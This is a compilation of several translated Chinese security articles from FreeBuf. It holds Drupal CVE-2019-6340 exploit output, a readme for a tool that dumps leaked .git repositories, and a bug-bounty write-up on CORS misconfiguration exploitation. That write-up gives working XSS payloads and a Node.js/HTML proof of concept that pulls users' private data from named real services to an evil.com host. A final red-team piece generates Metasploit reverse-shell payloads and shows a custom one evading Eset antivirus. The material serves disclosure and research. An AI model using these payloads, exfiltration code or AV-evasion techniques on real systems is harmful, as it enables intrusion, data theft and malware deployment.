[+] Finding a usable node id...
[x] Node enum found a cached article at: 1, skipping
[+] Using node_id 2
[+] Target appears to be vulnerable!
uid=33(www-data) gid=33(www-data) groups=33(www-data)

POC成功被执行。现在让我们看看我们的检测是否正常:

$ ./webhoneypot.py -c ../webhoneypot-drupal/drupal.json reset
2019-04-07 17:04:11,767 - DEBUG - Creating snapshot "20190407_170411" ...
[...]
2019-04-07 17:04:48,115 - DEBUG - Stopping docker compose /opt/docker/webhoneypot-drupal/docker-compose.yml ...
Stopping webhoneypot-drupal_nginx_1  ... done
Stopping webhoneypot-drupal_apache_1 ... done
Removing webhoneypot-drupal_nginx_1  ... done
Removing webhoneypot-drupal_apache_1 ... done
Removing network webhoneypot-drupal_webhoneypot
2019-04-07 17:05:08,442 - INFO - Pattern "node/1\?_format=hal_json" detected in file!
2019-04-07 17:05:08,443 - DEBUG - Restoring snapshot "initial" ...
[...]

这就是一个现实世界的Drupal蜜罐,用于检测CVE-2019-6340攻击。

警告

一个被妥协的蜜罐可用于许多其他非法目的(例如加密货币挖矿,发送垃圾邮件,DoS等)。我强烈建议你们设置一个定期的cronjob(每15到30分钟)重置蜜罐。此外,你还可以通过限制容器的CPU时间,或通过主机防火墙来阻止某些传出连接。

 *参考来源:medium,FB小编secist编译,转载请注明来自FreeBuf.COM

GitHacker是一个多线程工具,用于检测站点是否存在git源码泄漏,并能够将网站源代码下载到本地。值得一提的是,这个工具会将整个git repo恢复到本地,而不是像[githack]那样,只是简单的恢复到最新版本。如此一来,你就可以查看到开发人员的历史提交记录以及提交注释,以更好的掌握开发者的性格和心理,从而为进一步的代码审计奠定基础。

Git源码泄漏检测工具对比

68747470733a2f2f75706c6f61642d696d616765732e6a69616e7368752e696f2f75706c6f61645f696d616765732f323335353037372d363462646531626366363137653063662e706e673f696d6167654d6f6772322f6175746f2d6f7269656e742f737472 (1).png演示视频

环境要求

git >= 2.11.0
python-requests
Linux envrionment

安装

# Install requests
pip install requests
# Download source
# Notice: NO NOT DOWNLOAD ZIP FROM GITHUB
git clone https://github.com/wangyihang/GitHacker.git

使用

Usage :
        python GitHacker.py [Website]
Example :
        python Githack.py http://127.0.0.1/.git/
Author :
        wangyihang <[email protected]>

示例

python GitHacker.py http://127.0.0.1/.git/

未来计划

启用索引时下载标记和分支

禁用索引时尝试使用通用标记和分支

找到 packed refs

视频演示

https://asciinema.org/a/xgRmZ9dNvzhe3T2XRYDJe15Rj(可复制代码)

 *参考来源:GitHub,FB小编secist编译,转载请注明来自FreeBuf.COM

嗨,大家好!我是来自摩洛哥的安全研究员Ayoub。本文我将为大家介绍两种CORS错误配置漏洞利用的情况:第一种情况是基于XSS,第二种情况是基于高级的CORS利用技术。

注意:在开始阅读本文之前,你需要基本了解CORS是什么以及如何利用其错误配置漏洞。这里有一些很很不错的文章你可以参阅学习:

Portswigger’s Post

Geekboy’s Post

第一种情况

易受攻击端点

大约一年多前,我参与了HackerOne的私人项目。在HTTP请求中使用Origin标头后,我检查了服务器响应以确定它们是否进行了域白名单检查,最终我发现应用程序只是将子域列入了白名单,甚至是那些并不存在的子域。

出于隐私保护和负责任的披露政策,这里我假设Web应用程序托管在:www.redacted.com

这个CORS配置错误看起来如下:

HTTP 请求

GET /api/return HTTP/1.1
Host: www.redacted.com
Origin: evil.redacted.com
Connection: close

HTTP 响应

HTTP/1.1 200 OK
Access-control-allow-credentials: true
 Access-control-allow-origin: evil.redacted.com

此API端点返回用户的私人信息,如全名,电子邮件地址等。

想要滥用这种错误配置并执行攻击,如泄露用户的私人信息,我们需要声明一个废弃的子域(子域名接管),或在其中一个现有子域中找到XSS。

范围之外的思考

想找到一个废弃的子域并不容易,所以我决定还是在一个现有的子域中找到XSS。但是,该私有程序的范围仅限于:www.redacted.com,这意味着在其他子域中查找XSS肯定不在其范围内,但是将该XSS与CORS错误配置链接在某种程度上来说应该算是在范围之内的。对吧?

并且由于其他子域不在范围内,因此其他黑客也就不会测试它们,这样一来我在这些子域上找到XSS的概率就非常大了!

如我所料,在不到一小时的时间里,我就在banques.redacted.com上发现了一个XSS,使用的payload如下:

https://banques.redacted.com/choice-quiz?form_banque="><script>alert(document.domain)</script>&form_cartes=73&iframestat=1

1.png

现在,是时候创建一个PoC,并提交报告了!

利用再现:

要利用此CORS配置错误漏洞,我们只需使用以下代码替换payload alert(document.domain):

function cors() {  
var xhttp = new XMLHttpRequest();  
xhttp.onreadystatechange = function() {    
    if (this.status == 200) {    
    alert(this.responseText);     
    document.getElementById("demo").innerHTML = this.responseText;    
    }  
};  
xhttp.open("GET", "https://www.redacted.com/api/return", true);  
xhttp.withCredentials = true;  
xhttp.send();
}
cors();

就像这样:

https://banques.redacted.com/choice-quiz?form_banque="><script>function%20cors(){var%20xhttp=new%20XMLHttpRequest();xhttp.onreadystatechange=function(){if(this.status==200) alert(this.responseText);document.getElementById("demo").innerHTML=this.responseText}};xhttp.open("GET","https://www.redacted.com/api/return",true);xhttp.withCredentials=true;xhttp.send()}cors();</script>&form_cartes=73&iframestat=1

现在,我们拥有了一个非常好用的PoC:

2.png

奖励

3.png

现在,如果我告诉你,你仍然可以滥用该问题而无需在任何现有子域或声称已废弃的子域中找到XSS呢?

这正是我们在第二个案例中将要讨论的内容。

第二种情况

易受攻击端点

这一次,我的任务对象是Ubnt程序,尤其是托管在该网址的应用程序:https://protect.ubnt.com/

按照相同的过程,我确定了CORS配置错误,类似于前一种情况,但这次应用程序是从另一个位置获取用户的私人信息,一个API托管在:https://client.amplifi.com/api/user/

此应用程序还将任意子域列入了白名单,甚至是不存在的子域。

4.png

想要滥用这种CORS错误配置,你需要先声明一个废弃子域,或在一个现有的子域中找到XSS。

因为这是一个公开项目,范围较广(所有子域都在范围内); 因此,找到XSS的可能性也就小了很多,甚至也没有提到子域名接管漏洞。

那么,是不是我们就没办法了呢?

高级 CORS 利用技术

嗯,事实证明,还有另一种方式,但需要满足一定的条件才行。

这里可以找到一个有趣的研究。显示可以绕过一些使用域名内特殊字符错误实现的控件。

该研究基于以下事实:浏览器在发出请求之前并不总是验证域名。因此,如果使用某些特殊字符,浏览器当前可以提交请求,而无需事先验证域名是否有效和存在。

示例

让我们尝试打开一个包含特殊字符的URL,如:http://asdf`+=.withgoogle.com。大多数浏览器会在发出任何请求之前验证域名。

域名withgoogle.com用作演示,因为它具有通配符DNS记录

Chrome:

5.png

Firefox:

6.png

Safari:

7.png

正如你所看到的,Safari是一个例外,它实际上会发送请求并尝试加载页面,这与其他浏览器不同。

我们可以使用各种不同的字符,甚至是不可打印的字符:

,&'";!$^*()+=`~-_=|{}%

// non printable chars
%01-08,%0b,%0c,%0e,%0f,%10-%1f,%7f

此外,Davide Danelon还完成了另一项研究可以在这里找到,表明这些特殊字符的其他子集也可用于其他浏览器。

8.png

知道了这些后,下面就是利用环节了。让我们回到易受攻击的Web应用程序:https://client.amplifi.com/

新方法

在这种情况下,Web应用程序还接受以下Origin *.ubnt.com!.evil.com

9.png

不只是字符“!”,还包括以下字符:

*.ubnt.com!.evil.com 
*.ubnt.com".evil.com 
*.ubnt.com$.evil.com 
*.ubnt.com%0b.evil.com 
*.ubnt.com%60.evil.com 
*.ubnt.com&.evil.com 
*.ubnt.com'.evil.com 
*.ubnt.com(.evil.com 
*.ubnt.com).evil.com 
*.ubnt.com*.evil.com 
*.ubnt.com,.evil.com 
*.ubnt.com;.evil.com 
*.ubnt.com=.evil.com 
*.ubnt.com^.evil.com 
*.ubnt.com`.evil.com 
*.ubnt.com{.evil.com 
*.ubnt.com|.evil.com 
*.ubnt.com}.evil.com 
*.ubnt.com~.evil.com

你现在应该知道了某些浏览器(如Safari)接受具有特殊字符的URL,例如:https://zzzz.ubnt.com=.evil.com

因此,如果我们使用通配符DNS记录设置了一个域:evil.com,允许将所有子域(*.evil.com)指向www.evil.com,它将在类似www.evil.com/cors-poc的页面中托管一个脚本,该页面将向易受攻击的端点发送一个以子域名为起始值的跨域请求。

然后,我们强制让一个经过身份验证的用户打开链接:https://zzzz.ubnt.com=.evil.com/cors-poc

从理论上讲,我们可以将这个用户的私人信息泄露出去。

利用再现:

1.首先,设置一个带有通配符DNS记录的域,将其指向你的机器,在本例中我使用GoDaddy来托管我的域,配置如下:

10.png

2.安装NodeJS,创建一个新目录,然后在其中保存以下文件:

serve.js

var http = require('http');
var url  = require('url');
var fs   = require('fs');
var port = 80

http.createServer(function(req, res) {
    if (req.url == '/cors-poc') {
        fs.readFile('cors.html', function(err, data) {
            res.writeHead(200, {'Content-Type':'text/html'});
            res.write(data);
            res.end();
        });
    } else {
        res.writeHead(200, {'Content-Type':'text/html'});
        res.write('never gonna give you up...');
        res.end();
    }
}).listen(port, '0.0.0.0');
console.log(`Serving on port ${port}`);

3.在同一目录中,保存以下内容:

cors.html

<!DOCTYPE html>
<html>
<head><title>CORS</title></head>
<body onload="cors();">
<center>
cors proof-of-concept:<br><br>
<textarea rows="10" cols="60" id="pwnz">
</textarea><br>
</div>

<script>
function cors() {
  var xhttp = new XMLHttpRequest();
  xhttp.onreadystatechange = function() {
    if (this.readyState == 4 && this.status == 200) {
      document.getElementById("pwnz").innerHTML = this.responseText;
    }
  };
  xhttp.open("GET", "https://client.amplifi.com/api/user/", true);
  xhttp.withCredentials = true;
  xhttp.send();
}
</script>

4.通过运行以下命令启动NodeJS服务器:

node serve.js &

5.现在,登录到https://protect.ubnt.com/,并检查你是否可以从端点检索你的帐户信息:https://client.amplifi.com/api/user/

6.最后,在Safari浏览器中打开链接:https://zzzz.ubnt.com=.evil.com/cors-poc

在我的例子中,我使用iPhone中的Safari浏览器作为PoC,因为我没有Mac电脑。

11.jpeg

奖励

12.png

总结

我相信在Hacker One上你能找到很多有关这类CORS错误配置的报告,但只有少数人能够充分利用它,因为他们的报告中缺少PoC。这就是我分享经验的原因之一,并同时强调利用此类漏洞的其他技术。

最后,永远记住,范围之外的思考可能会带给你成功。

感谢阅读!欢迎在Twitter上关注我https://twitter.com/sandh0t

参考文献

Portswigger 

Geekboy 文章

Corben Leo 相关研究

Davide Danelon 相关研究

 *参考来源:medium,FB小编secist编译,转载请注明来自FreeBuf.COM

目前,我认为在Linux防病毒方面做得比较好的安全厂商有Avast,Eset 和 Kaspersky。当然,本文的目的并不是为了推广某个产品,而是希望通过实例测试将其作为红队练习的一部分进行学习,并了解什么会被标记或是通过(Metasploit/Meterpreter/Mettle)。

因此,为了该测试的顺利进行,我创建了一个简单的shell脚本生成器,它将生成各种被编码可执行的Linux payloads,我们将这些payloads上传到Linux虚拟机(Ubuntu 18.04 x86_64),并让已安装的AV处理它们。剩下的部分是一些理论上可以工作并绕过AV的内容,我们将通过测试一些示例来验证它们的功能。

我将重点关注使用各种编码器组合的Linux  x86 和 x86_64 Meterpreter/Mettle payloads。shell脚本生成器包含可以更改的变量名称,以使用喜欢的组合和自动生成二进制文件的进程。

确保将以下脚本放置在metasploit-framework路径中,并使其可执行。生成器脚本位于:

https://github.com/DoktorCranium/Linux-Meterpreter-tests/blob/master/Linux-meterpreter-tests/AV-TEST-LINUX.sh

运行脚本时,应输Metasploit-framework LISTENING IP地址和TCP端口,例如:

Metasploit payload在Linux平台的免杀

在第一个测试场景中,我们将在Ubuntu 18.04(x86_64)上使用Eset NOD32 4.0.90:

Metasploit payload在Linux平台的免杀

接着,我们将有一个生成的测试payloads的列表,我们将通过SCP向带有LinuxAV的远程机器提供这些payloads。在我们的测试中,我们生成了47个可执行文件。

-rw-r--r-- 1 root root 1102368 Apr 23 23:44 aarch64-reverse_tcp2.elf
-rw-r--r-- 1 root root     332 Apr 23 23:43 aarch64-reverse_tcp.elf
-rw-r--r-- 1 root root 1030664 Apr 23 23:44 armle-reverse_tcp2.elf
-rw-r--r-- 1 root root     464 Apr 23 23:44 mipsbe-reverse_tcp.elf
-rw-r--r-- 1 root root     464 Apr 23 23:44 mipsle-reverse_tcp.elf
-rw-r--r-- 1 root root     162 Apr 23 23:39 x64-exec.elf
-rw-r--r-- 1 root root     162 Apr 23 23:39 x64-exec-xor.elf
-rw-r--r-- 1 root root     198 Apr 23 23:39 x64-mt-bind_tcp.elf
-rw-r--r-- 1 root root     239 Apr 23 23:39 x64-mt-bind_tcp-xor.elf
-rw-r--r-- 1 root root 1046472 Apr 23 23:39 x64-mt-reverse_tcp2.elf
-rw-r--r-- 1 root root     249 Apr 23 23:38 x64-mt-reverse_tcp.elf
-rw-r--r-- 1 root root 1046631 Apr 23 23:39 x64-mt-reverse_tcp-xor2.elf
-rw-r--r-- 1 root root     295 Apr 23 23:38 x64-mt-reverse_tcp-xor.elf
-rw-r--r-- 1 root root 1046472 Apr 23 23:39 x64-mt-rev-http.elf
-rw-r--r-- 1 root root 1046472 Apr 23 23:40 x64-mt-rev-https.elf
-rw-r--r-- 1 root root 1046631 Apr 23 23:39 x64-mt-rev-https-xor.elf
-rw-r--r-- 1 root root 1046631 Apr 23 23:39 x64-mt-rev-http-xor.elf
-rw-r--r-- 1 root root     206 Apr 23 23:40 x64-sh-bind_tcp2.elf
-rw-r--r-- 1 root root     198 Apr 23 23:40 x64-sh-bind_tcp.elf
-rw-r--r-- 1 root root     247 Apr 23 23:40 x64-sh-bind_tcp-xor2.elf
-rw-r--r-- 1 root root     239 Apr 23 23:40 x64-sh-bind_tcp-xor.elf
-rw-r--r-- 1 root root     249 Apr 23 23:40 x64-sh-reverse.elf
-rw-r--r-- 1 root root     194 Apr 23 23:40 x64-sh-reverse_tcp2.elf
-rw-r--r-- 1 root root     239 Apr 23 23:40 x64-sh-reverse_tcp-xor2.elf
-rw-r--r-- 1 root root     295 Apr 23 23:40 x64-sh-reverse-xor.elf
-rw-r--r-- 1 root root     122 Apr 23 23:41 x86-exec.elf
-rw-r--r-- 1 root root     257 Apr 23 23:41 x86-exec-xor.elf
-rw-r--r-- 1 root root     194 Apr 23 23:42 x86-mt-bind_tcp.elf
-rw-r--r-- 1 root root     329 Apr 23 23:41 x86-mt-bind_tcp-xor.elf
-rw-r--r-- 1 root root 1107556 Apr 23 23:41 x86-mt-reverse_tcp2.elf
-rw-r--r-- 1 root root     207 Apr 23 23:41 x86-mt-reverse_tcp.elf
-rw-r--r-- 1 root root 1107790 Apr 23 23:41 x86-mt-reverse_tcp-xor2.elf
-rw-r--r-- 1 root root     342 Apr 23 23:41 x86-mt-reverse_tcp-xor.elf
-rw-r--r-- 1 root root     614 Apr 23 23:43 x86-mt-reverse_tcp-xor.elf.multi
-rw-r--r-- 1 root root 1107556 Apr 23 23:42 x86-mt-rev-http.elf
-rw-r--r-- 1 root root 1107556 Apr 23 23:42 x86-mt-rev-https.elf
-rw-r--r-- 1 root root 1107790 Apr 23 23:42 x86-mt-rev-https-xor.elf
-rw-r--r-- 1 root root 1107790 Apr 23 23:42 x86-mt-rev-http-xor.elf
-rw-r--r-- 1 root root     162 Apr 23 23:43 x86-sh-bind_tcp2.elf
-rw-r--r-- 1 root root     194 Apr 23 23:43 x86-sh-bind_tcp.elf
-rw-r--r-- 1 root root     297 Apr 23 23:43 x86-sh-bind_tcp-xor2.elf
-rw-r--r-- 1 root root     329 Apr 23 23:42 x86-sh-bind_tcp-xor.elf
-rw-r--r-- 1 root root     207 Apr 23 23:43 x86-sh-reverse.elf
-rw-r--r-- 1 root root     152 Apr 23 23:43 x86-sh-reverse_tcp2.elf
-rw-r--r-- 1 root root     287 Apr 23 23:43 x86-sh-reverse_tcp-xor2.elf
-rw-r--r-- 1 root root     342 Apr 23 23:43 x86-sh-reverse-xor.elf

一旦我们上传了它们,AV就会启动并自动删除其中的大部分payloads。

Metasploit payload在Linux平台的免杀

执行完成后,我们会看到有一些文件被完整地保留了下来,其中一些文件将无法正常工作,还有一些文件则仍可以正常工作,我们将在下一步进行测试……我们有27个文件被保留了下来。

Metasploit payload在Linux平台的免杀

因为我们的VM运行的系统是64位的,所以让我们来看看那些x86_64的payloads。

-rw-r--r-- 1 user user 162 Apr 23 22:08 x64-exec-xor.elf
-rw-r--r-- 1 user user 162 Apr 23 22:08 x64-exec.elf
-rw-r--r-- 1 user user 198 Apr 23 22:08 x64-mt-bind_tcp.elf
-rw-r--r-- 1 user user 1046631 Apr 23 22:08 x64-mt-rev-http-xor.elf
-rw-r--r-- 1 user user 1046631 Apr 23 22:08 x64-mt-rev-https-xor.elf
-rw-r--r-- 1 user user 1046631 Apr 23 22:08 x64-mt-reverse_tcp-xor2.elf
-rw-r--r-- 1 user user 198 Apr 23 22:08 x64-sh-bind_tcp.elf

我们将配置我们的test LISTENER(将以下脚本放置在metasploit-framework目录中并使其可执行)。

https://github.com/DoktorCranium/Linux-Meterpreter-tests/blob/master/Linux-meterpreter-tests/LISTENER-LINUX-METTLE.sh

(并调整到测试的远程payloads,即相应地更改第13行)

echo -n './msfconsole -x "use exploit/multi/handler; set PAYLOAD linux/x64/meterpreter/reverse_tcp; set LHOST ' > run.listener.sh

如果我们要验证除meterpreter/reverse_tcp之外的任何内容,我们需要将linux/x64/meterpreter/reverse_tcp修改为LISTENER中的相应的payload。

echo -n './msfconsole -x "use exploit/multi/handler; set PAYLOAD linux/x64/meterpreter_reverse_tcp; set LHOST ' > run.listener.sh

以上适用于x64-mt-reverse_tcp-xor2.elf,因为该平台为x64,并且它是一个meterpreter reverse tcp payload,所以我们将启动我们的listener(请注意上述2个payload的差异!)

并使用Eset NOD32 AV在测试VM上执行payload,并获得了一个core-dumped消息:)

Metasploit payload在Linux平台的免杀

让我们试试其他x86_64的mypreter/mettle->x64-mt-bind_tcp.elf

这次我们使用linux/x64/meterpreter/bind_tcp payload,并再次调整LISTENER,这次我们要为bind_tcp添加一个远程IP才能工作(虽然如此),但我们仍要进行测试,这次它可以工作。

Metasploit payload在Linux平台的免杀

但是,我们希望有一个可以绕过Eset NOD32,并且可以正常工作的reverse meterpreter/mettle payload!

让我们尝试更多自定义的代码:

https://github.com/DoktorCranium/Linux-Meterpreter-tests/blob/master/Linux-meterpreter-tests/LINUX-FORK-METTLE.sh

Metasploit payload在Linux平台的免杀

使用Nod32将linux-payload上传到VM并运行listener。

Metasploit payload在Linux平台的免杀

执行linux-payload和…我们成功使用自定义的reverse mettle payload绕过了AV:)

Metasploit payload在Linux平台的免杀

之前我提到过你可以为Windows PE32执行同样的操作。不是吗?:)现在你知道了,它的工作原理和Windows上其实是一样的,并且可以通过上面的脚本,scp等完全自动化进行AV逃避测试。

 *参考来源:astr0baby,FB小编secist编译,转载请注明来自FreeBuf.COM